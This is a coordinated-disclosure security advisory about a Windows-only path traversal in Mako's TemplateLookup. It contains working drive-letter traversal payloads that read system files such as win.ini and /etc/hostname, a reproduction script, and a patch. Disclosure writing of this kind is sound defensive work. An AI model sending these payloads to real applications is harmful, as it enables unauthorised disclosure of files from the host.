Mako: Path traversal via drive-letter URI on Windows in TemplateLookup

Summary

On Windows, a TemplateLookup URI beginning with a drive designator (e.g. C:/../../secret.txt or C:\..\..\secret.txt) bypasses the directory traversal check in Template.__init__, allowing reads of files outside the configured template directory.

This is a third, independent instance of the root cause behind CVE-2026-41205 (the // prefix) and CVE-2026-44307 (the backslash form). Both of those fixes normalized a separator spelling. Neither addressed the other way posixpath and ntpath disagree: the drive designator. Both prior fixes remain effective on their own terms; this variant survives them for an independent reason.

Details

The root cause is the same posixpath / os.path mismatch: resolution is done with posixpath, confinement is checked with os.path, which is ntpath on Windows.

# mako/lookup.py -- resolution
247:  srcfile = posixpath.normpath(posixpath.join(dir_, u))   # posixpath, always
248:  if os.path.isfile(srcfile):                             # ntpath on Windows

# mako/template.py -- confinement
268:  u_norm = os.path.normpath(u_norm)                       # ntpath on Windows
269:  if u_norm.startswith(".."):                             # never true for a drive URI

posixpath has no concept of a drive, so it treats C: as an ordinary path component; the .. segments pop C: and then escape the template root. ntpath, by contrast, splits the drive off and treats the remainder as rooted, discarding the .. entirely -- so the guard on line 269 inspects a string from which the evidence has already been removed:

Because the guard cannot fire for any URI beginning with a single-letter drive designator, the traversal is unconstrained, and its depth does not have to be guessed. posixpath.normpath() saturates excess .. segments at the root rather than erroring, so a URI carrying more .. than the template root is deep reaches the volume root and descends from there. A single fixed payload therefore works regardless of where the template directory sits:

template root = <base>/srv/app/templates

'C:/../../../../boot.ini'          -> reads <base>/boot.ini
'C:/' + '../'*40 + 'etc/hostname'  -> reads /etc/hostname   (no depth guess)
'C:/../../../../../etc/hostname'   -> TopLevelLookupException (wrong depth)

On Windows the equivalent is C:/../../../../../../../../Windows/win.ini, which reads that file for any template root depth. Only a target addressed relative to the template root needs the .. count to be exact; anything reachable from the volume root does not.

Affected code

• mako/template.py: Template.__init__() URI validation uses os.path.normpath(), which on Windows strips the drive and discards the .. segments before the startswith("..") guard is applied.
• mako/lookup.py: TemplateLookup.get_template() resolves with posixpath.normpath/posixpath.join, where C: is an ordinary component, then performs the existence check with os.path.isfile().

Reproduction

Windows is emulated with the technique already used by the project's own test suite (test/test_template.py:1398-1401):

import os, ntpath
os.path = ntpath

from mako.lookup import TemplateLookup
lookup = TemplateLookup(directories=["root/tpl"])

for uri in ["ok.html",
            "//../../secret.txt",
            "\\..\\..\\secret.txt",
            "../../secret.txt",
            "C:/../../../secret.txt",
            "C:\\..\\..\\..\\secret.txt",
            "d:/../../../secret.txt"]:
    try:
        t = lookup.get_template(uri)
        print(repr(uri), "-> filename=", t.filename, repr(t.render()))
    except Exception as e:
        print(repr(uri), "-> REFUSED", type(e).__name__)

Against 1.4.1, with a sentinel file written outside the configured directory:

'ok.html'                    -> root/tpl/ok.html        'OK'         (positive control)
'//../../secret.txt'         -> REFUSED   (CVE-2026-41205 fix works)
'\..\..\secret.txt'          -> REFUSED   (CVE-2026-44307 fix works)
'../../secret.txt'           -> REFUSED
'C:/../../../secret.txt'     -> reads the sentinel
'C:\..\..\..\secret.txt'     -> reads the sentinel
'd:/../../../secret.txt'     -> reads the sentinel

On POSIX the same URIs are refused, because posixpath.normpath keeps C: as an ordinary component and the .. survive to be inspected. The issue is Windows-only.

Note that d:/../../../secret.txt resolves relative to the template root, not to drive D: -- this is not a cross-drive read. Reaching another drive would require a leading .., which ntpath.normpath renders as ..\..\D:\x and the existing guard catches.

Impact

If an application on Windows passes user-controlled template names or include paths to TemplateLookup.get_template(), an attacker may load and disclose any file readable by the application process on the same volume as the template directory, not merely files adjacent to it. The primary impact is local file disclosure. If the targeted file contains Mako/Python template syntax, it may also be parsed and executed as a template.

As with CVE-2026-41205, the URI is not generally reachable through a raw URL path, since a conforming URL normalizer collapses C:/../.. first. The relevant vectors are query strings, form and JSON bodies, route parameters, and <%include file="${...}"/>.

Remediation

Normalize both sides with the same module. The resolution side already commits to posixpath, so the confinement check should as well:

u_norm = posixpath.normpath(self.uri.replace("\\", "/").lstrip("/"))
if u_norm.startswith(".."):
    raise exceptions.TemplateLookupException(...)

This closes the drive case for the same reason it closes //: posixpath treats C: as an ordinary component, so the .. segments survive to be inspected. Verified to block all three drive forms with the full test suite passing.

Credit

Reported by Eurico Nicacio under coordinated disclosure.